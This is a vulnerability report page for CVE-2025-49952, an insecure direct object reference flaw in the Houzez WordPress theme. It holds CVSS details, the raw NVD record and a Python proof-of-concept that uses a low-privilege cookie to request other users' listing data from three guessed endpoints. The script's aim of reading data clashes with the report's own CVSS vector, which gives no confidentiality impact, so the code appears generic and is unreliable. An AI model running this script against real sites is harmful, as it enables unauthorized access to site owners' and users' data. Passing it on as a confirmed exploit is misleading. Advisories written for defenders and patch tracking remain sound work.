Security Vulnerability Report
中文
CVE-2025-49952 CVSS 6.5 MEDIUM

CVE-2025-49952

Published: 2025-10-22 15:15:42
Last Modified: 2026-04-27 20:16:19

Description

Authorization Bypass Through User-Controlled Key vulnerability in favethemes Houzez houzez allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Houzez: from n/a through <= 4.2.5.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

Houzez Theme <= 4.2.5
Houzez Theme (all versions through n/a)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-49952 PoC - Houzez Theme IDOR Authorization Bypass # This PoC demonstrates the IDOR vulnerability in Houzez theme # Target: WordPress site with Houzez theme <= 4.2.5 import requests import sys def exploit_houzez_idor(target_url, attacker_cookie, target_object_id): """ Exploit IDOR vulnerability to access unauthorized resources Args: target_url: Base URL of the vulnerable WordPress site attacker_cookie: Valid session cookie of low-privilege user target_object_id: ID of the target object to access (e.g., other user's listing) Returns: Response content if exploitation successful """ headers = { 'Cookie': attacker_cookie, 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } # Direct object reference vulnerable endpoint vulnerable_endpoints = [ f'{target_url}/?ajax_action=houzez_get_listing_data&listing_id={target_object_id}', f'{target_url}/wp-json/houzez/v1/get-property/{target_object_id}', f'{target_url}/wp-admin/admin-ajax.php?action=houzez_get_property_details&property_id={target_object_id}' ] for endpoint in vulnerable_endpoints: try: response = requests.get(endpoint, headers=headers, timeout=10) if response.status_code == 200 and 'id' in response.text: print(f'[+] Successfully accessed object ID: {target_object_id}') print(f'[+] Endpoint: {endpoint}') print(f'[+] Response: {response.text[:500]}') return response.json() except Exception as e: print(f'[-] Error on {endpoint}: {e}') return None if __name__ == '__main__': if len(sys.argv) < 4: print('Usage: python cve_2025_49952_poc.py <target_url> <cookie> <object_id>') print('Example: python cve_2025_49952_poc.py http://target.com "wordpress_logged_in=xxx" 123') sys.exit(1) target = sys.argv[1] cookie = sys.argv[2] object_id = sys.argv[3] result = exploit_houzez_idor(target, cookie, object_id) if result: print('\n[!] Vulnerability confirmed - IDOR allows unauthorized access') else: print('\n[-] Exploitation failed or target not vulnerable')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-49952", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:15:41.620", "lastModified": "2026-04-27T20:16:19.140", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Authorization Bypass Through User-Controlled Key vulnerability in favethemes Houzez houzez allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Houzez: from n/a through <= 4.2.5."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/houzez/vulnerability/wordpress-houzez-theme-4-1-1-insecure-direct-object-references-idor-vulnerability?_s_id=cve", "source": "[email protected]"}]}}